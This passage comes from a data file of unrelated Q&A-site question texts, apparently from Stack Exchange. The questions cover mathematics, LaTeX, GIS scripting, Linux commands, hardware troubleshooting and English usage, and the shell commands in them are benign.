tomorrow? Tom: We have art and P.E.tomorrow. Amy: Oh, great. I can understand that \"What about you\" means \"What do you have today?\" But I wonder whether \"What about you\" is an elliptical sentence. If it is, what is the full sentence? If it isn't, how to parse this structure?", "You \"show\" someone a picture. You \"---\" someone a song? In , we have a verb meaning "to show" corresponding to "to see/to look", and we have a different verb corresponding to "to hear/to listen": inti tara stampa (you look at a picture.) ---- jiena nurilek stampa (I show you a picture) inti tisma' diska (you listen to a song.) ----- jiena nsemmagħlek diska (I 'show' you a song) In English, do you "show someone a song" (sounds weird to me) or is there a verb that corresponds more directly to the Maltese insemmgħek?", "Are any fictional worlds available in some GIS format? Is there any fictional world (e.g. , etc.) which could be used in a GIS context? For example, an MBTiles archive and a shapefile or any other format usable with OpenLayers / Polymaps / Leaflet?", "I've seen references to curried functions in several articles and blogs but I can't find a good explanation (or at least one that makes sense!)", "Not able to understand the meaning of question? car moving with a speed of 40 km / h can be stopped by applying brakes after at least 2 m. If the same car is moving with a speed of 80 km / h, what is the minimum stopping distance Does this mean that after 2 m, You will apply brakes and then it stops. What is the retardation value with which you are brakes.I am not understand the meaning of the values.", "How do you return to the default view (the one you see when blender starts)?", "Resolve $\\lim_{x \\to 0} \\frac {\\tan 3x}{\\tan 5x}$ I started resolving this limit: $$\\lim_{x \\to 0} \\dfrac{\\tan 3x}{\\tan 5x}$$ so: $$\\begin{align}\\lim_{x \\to 0} \\dfrac{\\tan 3x}{ \\tan 5x} & = \\lim_{x \\to 0} \\dfrac{\\frac{\\sin 3x}{\\cos 3x }}{\\frac{\\sin 5x}{\\cos 5x}} \\\\ \\\\ & = \\lim_{x \\to 0} \\dfrac{ \\sin (3x) \\cdot \\cos (5x)}{ \\sin(5x) \\cdot \\cos (3x)}\\\\ \\\\ & = \\quad?\\end{align}$$ Could someone help me please", "I want to create a standalone python script using QGIS python API (PYQGIS) for education. First I create a model and export that model to python script. original python script from the export : ##=name ##raster=raster ##stat=output html outputs_QGISRASTERLAYERSTATISTICS_1=processing.runalg('qgis:rasterlayerstatistics', raster,stat) Next I read this and I tried to follow this tutorial to create my script. Final script : import sys from qgis.core import QgsApplication from PyQt4.QtGui import QApplication app = QApplication([]) QgsApplication.setPrefixPath(\"/usr\", True) QgsApplication.initQgis() # Prepare processing framework sys.path.append('/home/username/.qgis2/python') from processing.core.Processing import Processing dem='aster.tif' slope='slope.tif' aspect='aspect.tif' outputs_SAGASLOPEASPECTCURVATURE_1=processing.runalg('saga:slopeaspectcurvature', dem,6,1,1,slope,aspect,None,None,None,None,None,None,None,None,None,None) Processing.initialize() # Exit applications QgsApplication.exitQgis() QApplication.exit() If I run this script it works fine without error but I don't take some export like aspect and slope (these can't be found?). Any idea why I can't take exports ? I use Ubuntu and python 2.7 and QGIS 2.18.1. i try to this script : import sys from qgis.core import QgsApplication sys.path.append('/usr/share/qgis/python/plugins') import processing a=processing.alglist() print a processing.alghelp(\"saga:slopeaspectcurvature\") and i take that print any idea why ? Algorithm not found but if i use this module in QGIS work fine.", "How to run updmap-sys after installing cm-super? My original question was: The answer that seems suitable to my cause is to install cm-super. I did that (using package manager [winxp 32 bit, MikTex installation 2.9 recently updated]). But still the command \\usepackage{cm-super} yields an error. User H Cavendish suggested to run updmap-sys, but I am not sure about how to do that on WinXP. 2011 November 04 edit: I made it sure that I have installed 'cm-super' - but still get the same error: I have also tried updating the file name databases - but no avail.", "How to differ sessions in browser-tabs?", "Input image strip without stretching to fit output frame When you add an image strip to the Video Sequence Editor, it stretches/shrinks your image to fit the full output frame. How can I add an image at its original resolution? For example, if I add a 60x60 pixel image, it should appear very small in the final 1080p render.", "Anchor Text code string is automatically modified by WordPress I have created an ad for a merchant wanting to rent ad space on my website home page. After creating the ad, (anchor text and pic/graphics with embedded hyperlink) the merchant has requested I remove my url from the ad code. The anchor text along with the embedded hyperlinks links to the merchant's home page. Problem is I don't know how my url was added to the code as I never inputted it in the original code in the first place. Somehow it was added by I think, WordPress or my server (PHP). When I view the page source I do see my url was added to the ad code. Can anyone help explain this and tell me how I can remove the url? Also, if I am able later to remove my url, how will it affect the hyperlink and anchor text? Thank you, -Dan Hi s_ha_dum, I have read your answer and have now made sure the code reads as abosolute url. Here it is with absolute url: <strong>If you are interested in helping others treat and prevent hypertension, consider a healthcare degree from <a href=\"http://elearning.loyno.edu/\">Loyola Online Courses today!</a></strong> It still shows in page source however with my url addended to the code string. What am I not understanding? Thank you!", "I'm suppose to prove the following... Let $A$ be a nonempty subset of $\\mathbb{R}$. If $\\alpha = \\sup A $ is finite show that for each $ \\epsilon > 0 $ there is an $a \\in A $ such that $\\alpha - \\epsilon < a\\leq \\alpha $. This is what I have so far... Proof: We claim that $\\alpha = \\sup A $ Then by definition of a supremum $\\alpha $ is the least upper bound of set A Thus $\\forall a \\in A$, $a \\leq \\alpha$ Suppose $\\epsilon > 0$ Then $\\alpha - \\epsilon < \\alpha $. Thus $\\alpha - \\epsilon < a\\leq \\alpha$. I feel like I'm missing some step between my last and second to last step so what am I forgetting? Also is the rest of my proof right?", "How do I use one shape to delete a portion of another shape? I have created an arrow shape (rightmost in image), from which I wish to cut out the majority so that only two thin sides remain. The most accurate way to do this would be to duplicate the shape and to somehow use the duplicate (leftmost in image) to remove the chunk that I no longer desire from the original. I am not sure what to do after the duplication, however, or if this method is even possible? Is there a better one?", "Over the years I have slowly developed a that validates MOST email addresses correctly, assuming they don't use an IP address as the server part. I use it in several PHP programs, and it works most of the time. However, from time to time I get contacted by someone that is having trouble with a site that uses it, and I end up having to make some adjustment (most recently I realized that I wasn't allowing 4-character TLDs). What is the best regular expression you have or have seen for validating emails? I've seen several solutions that use functions that use several shorter expressions, but I'd rather have one long complex expression in a simple function instead of several short expression in a more complex function.", "Proving a sequence defined by a recurrence relation converges How can I prove that this iterative sequence converges to $2$? Can I use the convergence definition? $$a_{n+1} = \\frac{a_n}{2} + \\frac{2}{a_n},\\qquad a_0 = 4 $$ Thanks for the help." ]

[ "Why aren't there any fighter carriers in the Star Trek universe? All of the ships of every species seem to be medium to large vessels with multiple crew members. Why aren't there single fighter craft and carrier ships to transport them in mass? I've just noticed the difference between Battlestar Galactica and Star Trek, where the former has primarily aircraft carriers, and the latter has battleships. Wouldn't a huge fleet of small fighters be extremely maneuverable and possibly stealthy? Update: For clarity, my question is not about the Federation and their choice of ships, but the universe at large. I would think there would be some diversity in space warfare strategy, such as huge armadas of fighters with base stations / carriers.", "Existence of area-preserving diffeomorphism between two sets in $\\mathbb{R}^2$ Suppose that we have open sets $A, B\\subset \\mathbb{R}^2$ such that $A$ and $B$ are simply connected and have smooth boundaries. Furthermore, let us assume that $m(A) = m(B) > 0$, where $m$ is the Lebesgue measure on $\\mathbb{R}^2$. My question is as follows: when does there exist an area-preserving diffeomorphism between $A$ and $B$? In this context, an area-preserving diffeomorphism between $A$ and $B$ is a is a $C^{\\infty}$-diffeomorphism $\\phi : A\\to B$ such that $m(S) = m(\\phi(S))$ for all measurable $S\\subseteq A$. If an area-preserving diffeomorphism doesn't always exist between sets $A$ and $B$ as above, are there any extra conditions we can impose on $A$ and $B$ such that there does exist an area-preserving diffeomorphism? My thoughts thus far are that we always have a $C^{\\infty}$-diffeomorphism between $A$ and $B$: this is a consequence of the . It's also obvious to me that if we can deform $A$ linearly to get $B$, then that deformation will be area-preserving. Furthermore, it seems that aside from this case, there's no reason why an area-preserving diffeomorphism should exist. However, I'm having a hard time proving that there necessarily isn't an area-preserving diffeomorphism between $A$ and $B$ if $B$ is not a linear deformation of $A$. Does anybody have any ideas?", "I recently obtained a Seagate Expansion 3TB external harddrive. I'm trying to copy over all of my stuff to prepare for reformatting and installing a new OS. A handful of my mp3s did not transfer when I was doing my music folder. I checked them after the fact and the ORIGINAL files became corrupted somehow. I am certain of at least a few that were not corrupted in anyway before doing this. Every now and then during my transfer I got There was an error copying the file into /media/***/Seagate Expansion Drive. Error splicing file: Input/output error Each of these files that I check after are corrupted at some point in the duration and will not play. Why did this happen and what can I do to fix it?", "$f(x)$ is a strictly increasing, and continuous, function on $[0,+\\infty)$. Consider the integral, $$\\int_0^a f^{-1}(x) dx.$$ Reasoning The interval $[0,a]$ is \"reflected\" across the line $y=x$ onto the interval $0 \\leq y \\leq a.$ $f(x)$ and $f^{-1}(x)$ are symmetric across the line $y=x$. So, the integral is equivalent to the area bounded by $y = 0$, $y=a$, and $f(x)$. So, \"integrating $f$ along an interval on the $y$-axis\" is the same as integrating $f^{-1}$ along the same interval on the $x$-axis? Question Is my reasoning correct?", "I encountered the integral $$\\int_0^1 \\frac{\\log \\left(1-x^2\\right) \\sin ^{-1}(x)^2}{x^2} \\, dx = -0.9393323982...$$ while researching the evaluation of harmonic sums. Mathematica 11 is not able to evaluate this integral, and is not able to evaluate the underlying indefinite integral. I considered using the Maclaurin series for the expression $\\sin ^{-1}(x)^2$ to evaluate this integral. Using this Maclaurin series, it is easily seen that the problem of evaluating the above integral is equivalent to the problem of evaluating the series $$\\sum _{n=1}^{\\infty } \\frac{2^{2 n-1} H_{n-\\frac{1}{2}}}{(1-2 n) n^2 \\binom{2 n}{n}}=-0.9393323982...$$ which Mathematica 11 is not able to evaluate directly. I also considered using the Maclaurin series for the expression $\\log \\left(1-x^2\\right)$ to evaluate the above integral. Using this Macluarin series, it is easily seen that this integral is equal to $$\\frac{1}{4} \\left(16 \\pi C-\\pi ^3-\\pi ^2 \\log (4)\\right)+\\sum _{n=1}^{\\infty } \\frac{\\, _3F_2\\left(\\frac{1}{2},\\frac{1}{2},1;\\frac{3}{2},n+1;1\\right)}{n^2-2 n^3}=-0.939332...,$$ but Mathematica is unable to evaluate the above infinite series. What is a closed-form evaluation of $\\int_0^1 \\frac{\\log \\left(1-x^2\\right) \\sin ^{-1}(x)^2}{x^2} \\, dx$? What techniques can be applied to evaluate this definite integral?", "I accidentally closed it without voting, how can I find it? When I suggest declaring war on the target it says there's already a proposition to do so.", "Ideally, I'd like to write a unit test to help me \"dummy check\" for unexpected effects of the upcoming guest user sharing setting changes. We'd had some controller/trigger code \"gracefully handling\" data it couldn't see thanks to the new sharing restrictions ... which resulted in simply \"not doing\" some work that it was supposed to do, which from a business process perspective isn't \"graceful\" at all (it was an important automation for downstream processes). I'd like to write up a unit test with some system.assert statements validating that \"data still goes where it's supposed to\" when the \"submit\" button a public-facing Visualforce page of a community is clicked. Unfortunately, I can't seem to make the \"submit\" button on a Controller for a public-facing Visualforce page work in the context of a unit test because the record whose creation it results in doesn't get its corresponding \"sharing setting\" record created in time for the execution context to pick it up. I did a little proof of concept here ... @isTest public class TestClass { private static Id guestProfileId = Util.getProfileIdByName('Public Facing Portal Profile'); private static User guestUser; private static Id portalGroupId = [SELECT Id FROM Group WHERE Name = 'Public_Portal' LIMIT 1][0].Id; private static Custom_Object__c co; private static testMethod void runTest() { createCO(); Test.startTest(); // Note that putting createCO() inside the test and doesGuestSharingRuleExistForCO() doesn't help. // That's what I was afraid of. try { doesGuestSharingRuleExistForCO(co.Id); } catch (Util.DeveloperException e) { System.assert(FALSE, e.getMessage()); } Test.stopTest(); } private static void cacheUsers() { guestUser = [SELECT Id FROM User WHERE profileid = :guestProfileId AND IsActive = TRUE LIMIT 1][0]; } private static void createCO() { co = new Custom_Object__c(); INSERT co; } private static void doesGuestSharingRuleExistForCO(Id coId) { List<SObject> existingSharingRulesOnCO = [ SELECT Id FROM Custom_Object__share WHERE RowCause = 'GuestRule' AND AccessLevel = 'Read' AND ParentId = :coId AND UserOrGroupId = :portalGroupId LIMIT 1 ]; if ( existingSharingRulesOnCO.isEmpty() ) { throw new Util.DeveloperException('Guest User sharing is not on for this custom object ID'); } } private static Boolean isCOSharingFlippedOnAtAll(){ String lookingFor = 'Custom_Object__Share'; for (Schema.SObjectType sObjectType : Schema.getGlobalDescribe().values() ) { String sobjName = String.valueOf(sObjectType); if (sobjName.contains(lookingFor) ) { return TRUE; } } return FALSE; } } Am I just out of luck? Is there no way to properly unit-test the effects (to automations relying upon \"guest user\" sharing settings when running as \"guest user\") of simulating the insertion of records into my database from a Visualforce page, due to not being able to separate out \"execution context\" enough and \"wait\" for the sharing rule record for the new record to come into existence?", "How to correctly assess the correlation between ordinal and a continuous variable? I'd like to estimate the correlation between: An ordinal variable: subjects are asked to rate their preference for 6 types of fruit on a 1-5 scale (ranging from very disgusting to very tasty) On average subjects use only 3 points of the scale. A continuous variable: the same subjects are asked to quickly identify these fruits, which results in an mean accuracy for the 6 fruits. Is Spearman rho the best method to analyze these data and/or are there other good methods I could consider?", "find command with regex quantifier e.g. {1,2} I have been trying to create a find command string that will find all files that end with a number 1-99 but exclude all others. e.g. I want to find myfile1 myfile99 but not myfile456 and not myfilebackup The regex I'm thinking of is myfile[1-9]{1,2} but I can't get this to work with find. find . -regex '.*myfile[0-9]{1,2}' OR find . -iname 'myfile[0-9]{1,2}' From what I can see it's the {1,2} part that is not working. (by the way can you use -name -regex interchangably?) Any help appreciated.", "Foolproof way to ensure Google news pulls the correct image for its thumbnails? Google news results have an acompanying thumbnail next to articles that show up in the results. If Google's crawler can't find a thumbnail to pull from our site, it uses its next best guess from another site, therefore linking the image to another site but still uses our headline. Example: Headline from Reuters, Image from Livemint: Our pages absolutely have images, they are not massive in file-size or dimensions, yet we are not having them pulled / crawled correctly. We have read up on the suggestions from Google, and from others around the web and nothing is panning out. Has anyone had any experience where they can ensure Google news will pull a thumbnail of our choosing?", "How do I get on a Minecraft PE server when it says 'invalid name'? I am having trouble getting onto a server in Minecraft PE on iOS. When I tap on the person's server it just says invalid name: I have tried turning off and restarting the iPad, going to home screen and logging back into the server but I have had no luck and no change. Is there a reason why this is so?", "How to determine the cause of MacBook battery not charging? I see that the question "why is my MacBook not charging?" gets asked a lot. The problem is, there are multiple reasons. Possible points of failure are: charger, cable, magsafe connector, DC input board, logic board, battery. (Have I missed any?). What is the best sequence for a user to follow, to diagnose the problem? By way of example, here are the first steps that I usually try: Make sure the charger is working. Either use your charger on a different Mac, or test a spare charger with your Mac. Check the connection. There might be gunk in your port that's stopping the connector from lying flat. Try resetting the SMC and PRAM. If the computer boots, run Coconut Battery to determine battery status. This is where I get a bit stuck. For example, I have a machine here that boots fine when plugged in, but not from battery. Disconnecting the MagSafe causes the machine to switch off. Sounds like it's a dead battery, except that Coconut reports the battery as detected, in good condition, but not charging. What steps should I take next? Specifically, I'm asking for a generic algorithm to help determine the source of the fault (preferably without swapping out lots of components one by one)?", "Need help to install persistent Ubuntu on USB drive Possible Duplicate: I am a new user of Ubuntu. I would like to install a persistent Ubuntu 11.04 to my USB stick, and it should be able to work as a guest OS running on Windows so that I can boot it on other computers other than the one which I used for the installation. I have used several creators such as unetbootin, however from my understanding it can only create Live Linux which I am unable to save my configurations and files. If it's possible I would like to bypass the BIOS, that is to say that I can just load from the virtual machine without having to restart the computer. Thanks in advance! Thanks for all the replies! Hi Mike, I am able to create a virtual machine and run it from my USB drive using a portable virtualbox. How do I go about from there, do I have to proceed with the installation? Could you elaborate more on the steps for the installation? Thanks again!", "Is there a cleaner proof of convergence for this almost-telescoping series I was wondering how the convergence of the series $$\\sum_{k\\geq1}\\frac{(k+1)^y-k^y}{k^x},$$ depends on $x$ and $y$, where $x$ and $y$ are real numbers. I've been able to show that it converges if and only if $y\\leq x$, by distinguishing nine cases; whether $x$ and $x-y$ are positive, negative or zero. If desired I can include a sketch of my proof. My question is whether there is a proof that works for all real $x$ and $y$? Or at least a proof that seems less artificial?", "My trackpad is broken so I can tap-to-click but i cannot drag and drop. This is really a problem when it comes to doing certain things. Does anyone know how to program a sticky key to turn a click into a click-select that can then be dragged about? I can't resize my browser or open window and I can't drag applications into the folder when installing etc. free solutions only please. A mid 2009 macbook-pro 13\". 2.53 Ghz Intel Core 2 Due. Running os lion (grudgingly).", "I'm a fan of extension methods in C#, but haven't had any success adding an extension method to a static class, such as Console. For example, if I want to add an extension to Console, called 'WriteBlueLine', so that I can go: Console.WriteBlueLine(\"This text is blue\"); I tried this by adding a local, public static method, with Console as a 'this' parameter... but no dice! public static class Helpers { public static void WriteBlueLine(this Console c, string text) { Console.ForegroundColor = ConsoleColor.Blue; Console.WriteLine(text); Console.ResetColor(); } } This didn't add a 'WriteBlueLine' method to Console... am I doing it wrong? Or asking for the impossible?", "I'm trying to downgrade my iPhone from the current iOS to an older one, as per . But every time I try, I always receive this error: The iPhone could not be restored. This device isn't eligible for the requested build. I have tried many times with and without DFU mode. Any ideas regarding this?", "I would like to declare functions in tikz for multiple uses of the same function within the code. Sadly, it seems that the tikz \"declare function\" is not compatible with the french option in babel. Indeed, the following code (that I simplifed on purpose) runs fine : \\documentclass[english]{article} \\usepackage{babel} \\usepackage{tikz} \\begin{document} \\begin{tikzpicture} \\tikzset{declare function={Carre(\\t)=\\t*\\t;}} \\draw plot [domain=-1:1] (\\x,{Carre(\\x)}); \\end{tikzpicture} \\end{document} But when I replace \\documentclass[english]{article} with \\documentclass[english,french]{article} compilation generates an error. This is what the log file says : Missing character: There is no = in font nullfont! Missing character: There is no @ in font nullfont! Missing character: There is no @ in font nullfont! Runaway argument? -1:1] (\\x ,{Carre(\\x )}); \\end {tikzpicture} \\end {document} ! Paragraph ended before \\pgfmath@local@@functions was complete. \\par l.18 I suspect you've forgotten a `}', causing me to apply this control sequence to too much text. How can we recover? My plan is to forget the whole thing and hope for the best. Before posting this, I updated all packages without success. Any help welcome!", "Why do we use 'did' with questions using the simple past tense?", "I can't seem to edit and save config files in the root system (eg: /etc/dhcp/dhcpd.config); it just says \"permission denied\" or the save option is blocked in the text editor. I'm pretty sure I'm a root user, but how do I make sure? If I am a root user, how do I fix this?" ]

[ "I am interested in finding out how confident my model (say Logistic Regression) is in predicting the label of a new data point. For example, if it is not confident, I better abstain from making a prediction. Logistic Regression outputs probabilities, which gives you a notion that there is confidence in prediction. But in fact, it is not. $P(y|x)$ being 0.3, doesn't tell me that the model is confident in its prediction or not. All, we can say is that it believes 100% that class A is 0.3 and other class is 0.7. Can we use confidence intervals of LR as some sort of confidence in prediction? E.g., larger the difference between upper and lower bound for a particular data point, less confident it is, and vice-versa? If not, how can we build confidence in our prediction? Can anybody guide me to some paper or field of study?", "Let $f(z)=\\sum_{n=0}^{\\infty}a_nz^n$ be a holomophic function in the unit disc. Show that if $$\\sum_{n=2}^{\\infty} n\\vert a_n \\vert <\\vert a_1\\vert$$ and $a_1\\not = 0$, then $f$ is injective. I am able to show that $f'$ never vanishes by showing that $\\vert f'-a_1\\vert <\\vert a_1\\vert$, but that doesn't imply that $f$ is injective. For example, $e^z$ is not inejective but its derivative never vanishes. What is required to prove that $f$ is injective? How do you show $f$ is injective on any set?", "I know and understand the mean value theorem. But at the moment I don't have the intuition to understand the generalized mean value theorem If $f$ and $g$ are continuous on the closed interval $[a,b]$ and differentiable on the open interval $(a,b)$, then there exists a point $c\\in(a,b)$ where$$[f(b)-f(a)]g'(c)=[g(b)-g(a)]f'(c).$$If $g'$ is never zero on $(a,b)$, then the conclusion can be stated as$$\\frac{f'(c)}{g'(c)}=\\frac{f(b)-f(a)}{g(b)-g(a)}.$$ What is the intuition? And how can you prove this (generally) ?", "Inheriting constructors Why does this code: class A { public: explicit A(int x) {} }; class B: public A { }; int main(void) { B *b = new B(5); delete b; } Result in these errors: main.cpp: In function ‘int main()’: main.cpp:13: error: no matching function for call to ‘B::B(int)’ main.cpp:8: note: candidates are: B::B() main.cpp:8: note: B::B(const B&) Shouldn't B inherit A's constructor? (this is using gcc)", "When I try to render a wave, it keeps being rendered in extremely low quality. I'm not sure exactly which setting is causing this, but increasing the renderand viewport sampling don't seem to help.", "Is drawing multiple cards an atomic action? Is drawing multiple cards an atomic action, or do effects triggered by drawing a card trigger for each card drawn instead? Consider , which reads: Whenever a player draws a card, Spiteful Visions deals 1 damage to that player. If a player were to be compelled to draw more than one card, would that player be dealt the damage all at once, or one at a time? For example, how many times would need to be activated to prevent all damage? Furthermore, if there exist additional effects that are triggered by damage dealt in this way, are such effects resolved together atomically or is each resultant effect resolved individually? How about tutors, or other cards not using the word 'draw', eg: If you would draw a card, look at the top three cards of your library instead. Put one of those cards into your hand and the rest on the bottom of your library in any order.", "Error in .bib entry, \"Too many commas\" The code for reference is this @article{matcontcl, title= {MATCONT and CL MATCONT}, author = {A. Dhooge, W. Govaerts, Yu.A. Kuznetsov, W. Mestrom, A.M. Riet and B.Sautois}, year = {2006}, journal = {Continuation toolboxes in matlab}, } This is the error that follows This is BibTeX, Version 0.99d (TeX Live 2015/W32TeX) The top-level auxiliary file: PropuestaInvestigacion.aux The style file: abbrv.bst Database file #1: biblio.bib Too many commas in name 1 of \"A. Dhooge, W. Govaerts, Yu.A. Kuznetsov, W. Mestrom, A.M. Riet and B.Sautois\" for entry matcontcl while executing---line 1049 of file abbrv.bst Too many commas in name 1 of \"A. Dhooge, W. Govaerts, Yu.A. Kuznetsov, W. Mestrom, A.M. Riet and B.Sautois\" for entry matcontcl while executing---line 1049 of file abbrv.bst Too many commas in name 1 of \"A. Dhooge, W. Govaerts, Yu.A. Kuznetsov, W. Mestrom, A.M. Riet and B.Sautois\" for entry matcontcl while executing---line 1090 of file abbrv.bst Too many commas in name 1 of \"A. Dhooge, W. Govaerts, Yu.A. Kuznetsov, W. Mestrom, A.M. Riet and B.Sautois\" for entry matcontcl while executing---line 1090 of file abbrv.bst (There were 4 error messages) How could I fix it?", "Enlarged partition, filesystem still reports old size", "Why can I not access a file named `-` when quoting? I have a file called -. I want to display its contents. One way is to do cat ./- since cat - reads from standard input. However, why are cat \"-\" and cat '-' also interpreted by the shell as cat -?", "Intraclass correlation coefficient vs. F-test (one-way ANOVA)?", "Supernatural sites on Stack Exchange Is there any Q&A site under the Stack Exchange network where we can discuss about supernatural incidents? If not, then whom should I petition to create it?", "Pattern in Isomorphisms between $\\mathbb Z_m \\times \\mathbb Z_n$ and $\\mathbb Z_{mn}$", "Suppose there are two face down cards each with a positive real number and with one twice the other. Each card has value equal to its number. You are given one of the cards (with value $x$) and after you have seen it, the dealer offers you an opportunity to swap without anyone having looked at the other card. If you choose to swap, your expected value should be the same, as you still have a $50\\%$ chance of getting the higher card and $50\\%$ of getting the lower card. However, the other card has a $50\\%$ chance of being $0.5x$ and a $50\\%$ chance of being $2x$. If we keep the card, our expected value is $x$, while if we swap it, then our expected value is: $$0.5(0.5x)+0.5(2x)=1.25x$$ so it seems like it is better to swap. Can anyone explain this apparent contradiction?", "The coefficient of kinetic friction can be calculated using $\\mu_k = F_k/F_n$. A change in angle does not affect the normal force, but doesn't a change in angle affect the friction? As in if the angle is steeper, wouldn't the object have a greater propensity to move down the slope, thus there will be less friction?", "When I press the power button a dialog opens, but I want to shutdown the system without receiving \"Do you really really want to shutdown?\". How can I choose a direct shutdown action on a pressed power button? I had the same problem with the 11.04 version, but I don't remember the solution and yesterday I upgraded to Ubuntu 11.10.", "I would like to see the icons in the 'Hot Network Questions' right panel clickable, leading to the homepage of the site where the question comes from. It would make it more comfortable to switch to the site when you want rather to visit it than to see that specific \"hot\" question.", "If I set multiple Alarms, can I tell them apart?", "/var/log/syslog constantly logging errors, growing at 1 MB/s It seems to be the same three errors repeated: $ tail -n15 /var/log/syslog Apr 5 23:32:01 detoo kernel: [ 6042.078785] ACPI Error: [PGRT] Namespace lookup failure, AE_NOT_FOUND (20150619/psargs-359) Apr 5 23:32:01 detoo kernel: [ 6042.078787] ACPI Error: Method parse/execution failed [\\_GPE._L6F] (Node ffff8808554d42d0), AE_NOT_FOUND (20150619/psparse-536) Apr 5 23:32:01 detoo kernel: [ 6042.078788] ACPI Exception: AE_NOT_FOUND, while evaluating GPE method [_L6F] (20150619/evgpe-592) I noticed something was wrong when I was getting low disk space warnings. I've flashed to the latest UEFI available, I've tried enabling/disabling the C states in my UEFI. I'm running Linux Mint 17.3 Cinnamon 64-bit with kernel 4.2.0-34-generic. I have a skylake processor and z170 motherboard. I'm quite new to linux and am at a lost as what I should do next. EDIT: I have the same problem when booting from a USB with Ubuntu 16.04, and nearly identical error logs being constantly spammed: Apr 6 01:01:48 ubuntu kernel: [ 152.594053] ACPI Exception: AE_NOT_FOUND, while evaluating GPE method [_L6F] (20150930/evgpe-592) Apr 6 01:01:48 ubuntu kernel: [ 152.594994] ACPI Error: [PGRT] Namespace lookup failure, AE_NOT_FOUND (20150930/psargs-359) Apr 6 01:01:48 ubuntu kernel: [ 152.594996] ACPI Error: Method parse/execution failed [\\_GPE._L6F] (Node ffff8808554e02d0), AE_NOT_FOUND (20150930/psparse-542)", "How to store lots of small text in a SQL Server database?", "ASP.NET Website's BIN directory and references" ]

[ "Can I send in for repair a lens that has a shattered front element? UPDATE: The front element was not shattered, it was the UV filter. Factory diagnosis: Lens assembly had been impacted; cleaned and checked. Helpful notes by Crowley, David Richerby (x2), Michael Clark (x2), and mattdm (on element price vs UV filter). Canon cleaned and checked my lens back to like new quality for $179 labor, no parts, not including shipping. Jim Garrison answered my question, but Crazy Dino has the best info all around for a lens element shatter. Original Question: I recently opened my camera bag to find a shattered front element on a Canon EF 16-35mm f/2.8 L II USM lens. There are a lot of micro glass shards on the second element. Does anyone have experience with this sort of thing? Some of the following are questions I have: Can I get it repaired? What will the cost be roughly? Will the lens ever work the same and have a good image quality? Should I ship it as is, or attempt cleaning it with air? Where is the best place to cry a little? Thanks, any good info on this would be appreciated. I will never rest a lens on another lens, I nearly lost a 24-70mm L that shattered a UV filter also. Good reason to have a UV always, never thought it could happen to me. Update: Looking at it more it looks like maybe just the front ring came undone and the UV filter broke? I can't remember what it looked like exactly before. I threw away the glass shards (polished sand) in the Nevada desert. UPDATE: Primary reason for thinking more than just the UV was broken, UV filter split into two rings, depositing the locking collar into the lens barrel.", "Traces of all positive powers of a matrix are zero implies it is nilpotent Let $A$ be an $n\\times n$ complex nilpotent matrix. Then we know that because all eigenvalues of $A$ must be $0$, it follows that $\\text{tr}(A^n)=0$ for all positive integers $n$. What I would like to show is the converse, that is, if $\\text{tr}(A^n)=0$ for all positive integers $n$, then $A$ is nilpotent. I tried to show that $0$ must be an eigenvalue of $A$, then try to show that all other eigenvalues must be equal to 0. However, I am stuck at the point where I need to show that $\\det(A)=0$. May I know of the approach to show that $A$ is nilpotent?", "I have a web application that's branded according to the user that's currently logged in. I'd like to change the favicon of the page to be the logo of the private label, but I'm unable to find any code or any examples of how to do this. Has anybody successfully done this before? I'm picturing having a dozen icons in a folder, and the reference to which favicon.ico file to use is just generated dynamically along with the HTML page. Thoughts?", "Maybe this is an easy question, maybe not. I have a select box where I hardcode with width. Say 120px. <select style=\"width: 120px\"> <option>REALLY LONG TEXT, REALLY LONG TEXT, REALLY LONG TEXT</option> <option>ABC</option> </select> I want to be able to show the second option so that the user can see the full length of the text. Like everything else. This works fine in Firefox, but doesn't work with Internet Explorer6.", "Defragmenting an SSD drive is a bad idea and Windows 7 is (should be?) smart enough not to schedule defragmentation on such drives. However, I've opened up Disk Defragmenter on my system and found, to my surprise, that my SSD has indeed been defragmented... recently! Then I checked the disks selected for the scheduled defrag (I have one SSD and one normal disk), and there the list correctly shows only the non-SSD drive. MSDN forum post seems to suggest that, at least on Windows 8, defragmenting an SSD drive will just cause the TRIM command to be sent to the drive, but there's no word on what actually happens if you try to defrag an SSD drive on Windows 7 (aside from the fact that it shouldn't happen automatically). What happens in Windows 7 if one chooses to defrag and SSD? What could possibly have been the reason my SSD drive got been defragmented? EDIT: I just remembered - I've moved some folders (Users and ProgramData) from my SSD drive to my normal drive using junctions. question suggests that this shouldn't have any effects at all on the defragmentation process, but could it have an effect on the \"last run\" in Disk Defragmenter?", "I'm just going to throw this out there, but Google indexes Stack Overflow really quickly", "When does $\\lim_{n\\to\\infty}f(x+\\frac{1}{n})=f(x)$ a.e. fail", "What is the best way to call a script from another script?", "Making 3 points stick on a plane / flag with wind I have a flag I want to waft in the wind. I imported the shape as an SVG from Adobe Illustrator. I converted the mesh to a curve. It wouldn't let me make some subdivisons but it still seems to work with the cloth property. When I press play, you can see the structure of the flag stops. How can I make those last 3 points intact? Also the fill colour seems to have disappeared, do you know why and how I can bring it back? Thanks Steve File here:", "Every subsequence of $x_n$ has a further subsequence which converges to $x$. Then the sequence $x_n$ converges to $x$.", "Proving convergence of sums: If $\\sum_{n=1}^{\\infty}a^2_n$ and $\\sum_{n=1}^{\\infty}b^2_n$ converge then $\\sum_{n=1}^{\\infty}a_nb_n$ converges", "At the end of every day you will be required to write a review. At the end of each day you will be required to write a review. Which one of those sentences is better if this action will repeat itself every day for longer period of time, several weeks for example, maybe even months?", "One Time Pad Key Distribution For multiple OTP keys, why not do this: Key = Hash[(EC)DH Shared Secret + Counter] The counter will increase per message, and the output of the hash will be random for each new unique input into it. What are the problems or weaknesses with this design?? EDIT: For clarification: both parties will have the shared secret from an ECDH exchange, random numbers from Pythons os.urandom for generating the ECC key", "Adverb between conjugated verb and infinitive?", "Facebook message notification showing blank message Since I updated the system to 10.11.5, the Facebook message notification is not showing message text. Is this a bug in this software upgrade of OSX?", "iPhone: Detecting user inactivity/idle time since last screen touch", "Unary intersection of the empty set", "\"Failed to create user\" due to regular expression error I'm running Ubuntu 12.10 desktop 32 bit. Currently I have only a user, type administrator. I'd like to create another administrator user but I keep getting the following error: Failed to create user GDBus.Error:org.freedesktop.Accounts.Error.Failed: running '/usr/sbin/adduser' failed: /usr/sbin/adduser returned an error (1): adduser: Please enter a username matching the regular expression configured via the NAME_REGEX[_SYSTEM] configuration variable. Use the `--force-badname' option to relax this check or reconfigure NAME_REGEX. Any suggestion is appreciated.", "Equation System with 3 variables \"Find all the possible solutions $(x,y,z) \\in$ $\\Bbb R$ that satisfies the following equation system\". My teacher gave me this problem and i got some clues in how to solve it. I evaluated $1$ and $-1$ and i got these solutions $(1,-1,1)$ and 